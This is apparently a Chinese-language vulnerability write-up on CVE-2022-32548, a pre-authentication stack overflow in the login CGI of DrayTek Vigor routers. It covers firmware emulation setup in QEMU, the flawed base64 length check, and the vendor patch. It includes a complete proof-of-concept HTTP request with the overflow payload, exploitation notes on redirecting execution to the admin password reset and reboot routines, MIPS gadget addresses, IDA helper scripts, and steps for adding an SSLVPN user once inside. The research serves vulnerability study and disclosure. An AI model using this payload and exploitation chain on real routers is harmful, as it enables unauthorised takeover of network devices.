漏洞描述 /cgi-bin/wlogin.cgi
中通过用户名字段存在未经身份验证的 DrayTek
远程代码执行漏洞
影响范围 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Vigor3910 < 4.3 .1 .1 Vigor1000B < 4.3 .1 .1 Vigor2962 系列 < 4.3 .1 .1 Vigor2927 系列 < 4.4 .0 Vigor2927 LTE 系列 < 4.4 .0 Vigor2915 系列 < 4.3 .3 .2 Vigor2952 / 2952P < 3.9 .7 .2 Vigor3220 系列 < 3.9 .7 .2 Vigor2926 系列 < 3.9 .8 .1 Vigor2926 LTE 系列 < 3.9 .8 .1 Vigor2862 系列 < 3.9 .8 .1 Vigor2862 LTE 系列 < 3.9 .8 .1 Vigor2620 LTE 系列 < 3.9 .8 .1 VigorLTE 200n < 3.9 .8 .1 Vigor2133 系列 < 3.9 .6 .4 Vigor2762 系列 < 3.9 .6 .4 Vigor165 < 4.2 .4 Vigor166 < 4.2 .4 Vigor2135 系列 < 4.4 .2 Vigor2765 系列 < 4.4 .2 Vigor2766 系列 < 4.4 .2 Vigor2832 < 3.9 .6 Vigor2865 系列 < 4.4 .0 Vigor2865 LTE 系列 < 4.4 .0 Vigor2866 系列 < 4.4 .0 Vigor2866 LTE 系列 < 4.4 .0
环境搭建 检查 firmware
目录下的启动脚本,发现 qemu
启动时存在一个非标准参数 -dtb DrayTek
,猜测是开发者修改过 QEMU
源代码,自行添加的参数。
Draytek
提供设备的 GPL
代码 ,下载 3910
型号的 GPL
代码分析确定,开发者为 QEMU
添加了一些新功能,用来支持 drayos
运行,所以我们需要编译这份 GPL
代码。
1 2 3 4 解压里面的qemu源码,然后编译 tar -xvjf qemu-2.12 .1 .tar.bz2 ./configure --enable-kvm --enable-debug --target-list =aarch64-softmmu make
编译好之后得到需要的 qemu-system-aarch64
,接下来要修改原始的启动脚本,适配本地环境。
宿主机需要新添加两张网卡,修改 network.sh
脚本,将网卡名称替换到脚本中
将编译完成qemu-system-aarch64
拷贝到固件解包的文件系统中,目标路径cpio-root/firmware
创建网卡,配置IP
1 2 3 4 sudo tunctl -t ens38 -u root sudo ifconfig ens38 192.168 .1 .10 /24 sudo tunctl -t ens39 -u root sudo ifconfig ens39 192.168 .1 .11 /24
在路径cpio-root/firmware
创建network.sh
和myrun.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 iflan=ens38 ifwan=ens39 mylanip="192.168.1.10" brctl delbr br-lan brctl delbr br-wan ip link add br-lan type bridge ip tuntap add qemu-lan mode tap brctl addif br-lan $iflan brctl addif br-lan qemu-lan ip addr flush dev $iflan ifconfig br-lan $mylanip ifconfig br-lan up ifconfig qemu-lan up ifconfig $iflan up ip link add br-wan type bridge ip tuntap add qemu-wan mode tap brctl addif br-wan $ifwan brctl addif br-wan qemu-wan ip addr flush dev $ifwan ifconfig br-lan $mylanip ifconfig br-wan up ifconfig qemu-wan up ifconfig $ifwan up brctl show ethtool -K $iflan gro off ethtool -K $iflan gso off ethtool -K $ifwan gro off ethtool -K $ifwan gso off ethtool -K qemu-lan gro off ethtool -K qemu-lan gso off ethtool -K qemu-wan gro off ethtool -K qemu-wan gso off ethtool -K br-lan tx off
然后构造启动脚本,首先按照参考文章的提示,修改自带的启动脚本,当尝试启动文中提到的版本(4.3.1
)时一切正常,但启动新版时会出现错误
1 2 3 4 5 6 7 8 9 10 11 12 [qemu_ivshmem_write_internal:2729 ] already wait for more than 100ms, check host. dump_backtrace: fp:0x467ffe60 , pc:0x4064fc48 Call trace: 0x4064fc48 0x406fac58 0x404757a8 0x407bb120 0x407dfec4 0x406fbe84 0x406fb304 0x406fb250 0x40000c08 0x40000078 0x40000040 reboot handler not init yet Init MAX session 300000 portmap addr_range 0x1c9c380 > exmem_portmap_end_addr 0x0 !!! NULL, malloc Portmap memory fail dray_nat_allocate_memory : malloc memory fail
通过逆向分析发现和 portmap
内存有关系,而这块内存又和参数 memsize
有关,因此尝试将 memsize
值修改为 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 rangen() { printf "%02x" `shuf -i 1 -255 -n 1 ` } rangen1() { printf "%x" `shuf -i 1 -15 -n 1 ` } wan_mac(){ idx=$1 printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 } A=$(rangen); B=$(rangen); C=$(rangen); LAN_MAC="00:1d:aa:${A}:${B}:${C}" if [ ! -p serial0 ]; then mkfifo serial0 fi if [ ! -p serial1 ]; then mkfifo serial1 fi platform_path="./platform" echo "x86" > $platform_path enable_kvm_path="./enable_kvm" echo "kvm" > $enable_kvm_path cfg_path="./magic_file" echo "GCI_SKIP" > gci_magic mkdir -p ../data/uffs touch ../data/uffs/v3910_ram_flash.bin uffs_flash="../data/uffs/v3910_ram_flash.bin" echo "1" > memsize (sleep 20 && ethtool -K qemu-lan tx off) & model="./model" echo "3" > ./model rm -rf ./app && mkdir -p ./app/gci GCI_PATH="./app/gci" GCI_FAIL="./app/gci_exp_fail" GDEF_FILE="$GCI_PATH/draycfg.def" GEXP_FLAG="$GCI_PATH/EXP_FLAG" GEXP_FILE="$GCI_PATH/draycfg.exp" GDEF_FILE_ADDR="0x4de0000" GEXP_FLAG_ADDR="0x55e0000" GEXP_FILE_ADDR="0x55e0010" echo "0#" > $GEXP_FLAG echo "19831026" > $GEXP_FILE echo "GCI_SKIP" > $GDEF_FILE SHM_SIZE=16777216 ./qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -m 1024 -L ../usr/share/qemu \ -kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \ -nographic $gdb_serial_option $gdb_remote_option \ -device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \ -netdev tap,id =network-lan,ifname=qemu-lan,script=no,downscript=no \ -device virtio-net-pci,netdev=network-wan,mac=00 :1d:aa:${A}:${B}:$(wan_mac 1 ) \ -netdev tap,id =network-wan,ifname=qemu-wan,script=no,downscript=no \ -device virtio-serial-pci -chardev pipe,id =ch0,path=serial0 \ -device virtserialport,chardev=ch0,name=serial0 \ -device loader,file=$platform_path,addr=0x25fff0 \ -device loader,file=$cfg_path,addr=0x260000 \ -device loader,file=$uffs_flash,addr=0x00be0000 \ -device loader,file=$enable_kvm_path,addr=0x25ffe0 \ -device loader,file=memsize,addr=0x25ff67 \ -device loader,file=$model,addr=0x25ff69 \ -device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \ -device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \ -device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \ -device nec-usb-xhci,id =usb \ -device ivshmem-plain,memdev=hostmem \ -object memory-backend-file,size=${SHM_SIZE},share,mem-path=/dev/shm/ivshmem,id =hostmem
启动时先执行 network.sh
,随后执行 myrun.sh
,访问 192.168.1.1
即可看到登录页面
默认登录密码:admin/admin
端口服务扫描
连接telnet
,登录用户名/密码:admin/admin
,web
端登录密码
漏洞分析 安全保护-Vigor3910_3972
根据抓包得到的信息(字符串)去定位函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /cgi-bin/wlogin.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 99 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/weblogin.htm Upgrade-Insecure-Requests: 1 aa=YWRtaW4%3D&ab=YWRtaW4%3D&sslgroup=---&obj3=&obj4=&obj5=&obj6=&obj7=&sFormAuthStr=cKTWntEaeAwnWJZ
漏洞点存在于base64_decode
中,第一个参数可控是base64
编码后的数据,第二个参数是将第一个参数通过base64
解码后保存的位置,第三个参数是限制解码后的长度,防止溢出,由于长度限制可以绕过导致溢出
分析base64_code
,sub_400C07BC
获取base64
解码后的长度和限制长度校验,但获取解码后的长度逻辑存在问题可绕过
前提小知识
“====
“四个等于号在base64
解码后为空,不影响原本值
比如:YWRtaW4=
解码admin
,YWRtaW4=====
解码admin
知道前提小知识后,再跟进sub_400C07BC
函数,在base64
编码后的字符串后添加”====
“就会使返回后的解码长度变小,实际解码后的长度不变,导致了栈溢出漏洞
1 2 3 4 5 6 例: a 编码后 YQ== 长度 4 解码长度3*(4>>2)-2(俩个等于)= 1 ab 编码后 YWI= 长度 4 解码长度3*(4>>2)-1(一个等于)= 2 添加四个等号 ab 编码后 YWI===== 长度 8 解码长度3*(8>>2)-5(五个等于)= 1 这个时候就出现了问题,计算出的解码后的长度小于解码后的实际长度,造成漏洞
补丁分析-V4.3.2.6
新增一个变量v12
记录解码后的字符串拷贝到第二个参数的数量,并与限制最大长度最比较,修复了漏洞
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 payload:'A'*300+(300-84)*"====" POST /cgi-bin/wlogin.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 95 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/weblogin.htm Upgrade-Insecure-Requests: 1 aa=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D&ab=YQ%3D%3D&sslgroup=---&obj3=&obj4=&obj5=&obj6=&obj7=&sFormAuthStr=nT8iAiAThrdwiQm
重置密码 由于系统是Rtos
系统,无Linux shell
,所以打重置密码操作,这里只放一个固件的重置密码分析
Vigor2912_v3.8.12版本
该程序为mips32
小端rtos
系统,无Linux shell
程序溢出点sub_807766EC
重置密码位置sub_801D0BE4
重置密码位置二sub_80607864
,传参在if判断前面导致if判断不可控
1 2 3 4 5 6 ROM:80607874 li $v1, 0x31 ROM:80607878 addiu $a0, $s1, -0x6760 ROM:8060787C addiu $a1, $s0, (aAdmin_0 - 0x80990000 ) ROM:80607880 bne $a2, $v1, loc_80607848 ROM:80607884 lui $s2, 0x81BA ROM:80607888 jal sub_80703080
保存配置重启sub_80714A64
Exp
SSLVPN添加用户 当只可以访问SSLVPN
的时候,重置密码就没作用了,这个时候要创建一个SSLVPN
用户
SSLVPN配置 SSLVPN Web
端配置
SSL VPN >> General Setup
SSL VPN >> User Account
SSL VPN >> Remote Dial-in User
SSL VPN >> User Group
SSL VPN >> SSL Portal Online User
SSLVPN
客户端配置
连接成功
EXP
总结 arm64架构-Linux系统-有shell 1 控制程序pc跳转到重置密码的位置之后,执行后跳转到重启位置就可以了,就算程序没有跳到重启位置但重置密码已经执行,后面崩溃后自动重启不影响密码重置
mips架构-Rtos系统-无Linux shell 1 2 3 4 5 6 7 8 9 mips架构程序在利用栈溢出重置密码时,重置后需要跳转到一个位置,保证线程仍在运行,等待程序刷新达成重置密码的效果 j指令无法陷入死循环,原因未知 gadget2保证程序陷入死循环 失败 ROM:8002EF70 j loc_8002EF70 gadget2保存配置重启 成功 ROM:80714C1C jal sub_80703114 $s2=0x808B4000 可读内存 ROM:80714C34 lw $a0, 0xC ($s2)
下面有俩个脚本,第一个脚本是ida python
脚本,获取mips
架构的所有j指令以及所在的地址,第二个脚本查找j指令跳转到自身位置的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 """ import idautils import idaapi import idc def list_j_instructions(): # 遍历所有的函数 for func in idautils.Functions(): func_name = idc.get_func_name(func) # 获取函数的开始和结束地址 start = idc.get_func_attr(func, idc.FUNCATTR_START) end = idc.get_func_attr(func, idc.FUNCATTR_END) # 遍历函数中的每条指令 addr = start while addr < end and addr != idc.BADADDR: # 获取当前指令的汇编字符串 asm_str = idc.generate_disasm_line(addr, 0) # 如果当前指令是j指令,且不是jal或jr指令,则输出 if asm_str.startswith("j ") and not asm_str.startswith("jal ") and not asm_str.startswith("jr "): print(f"{hex(addr)}\t{asm_str}") # 移动到下一条指令 addr = idc.next_head(addr, end) # 运行列表生成函数 list_j_instructions() """ def check_and_print (line, delimiter ): parts = line.strip().split(delimiter) if len (parts) >= 2 : prefix = parts[0 ].strip().lower() suffix = parts[1 ].strip().lower() if prefix in suffix: print (line) def main (filename, delimiter ): try : with open (filename, 'r' ) as file: for line in file: check_and_print(line, delimiter) except FileNotFoundError: print ("File not found:" , filename) if __name__ == "__main__" : filename = "output.txt" delimiter = "j" main(filename, delimiter)
路由器自带安全策略 限制输入密码次数,效果:当用户连续输入密码错三次后,600
秒之内无法访问目标
sslvpn用户名不能是admin 参考链接 https://bestwing.me/CVE-2022-32548-DrayTeck-BufferOverflow.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32548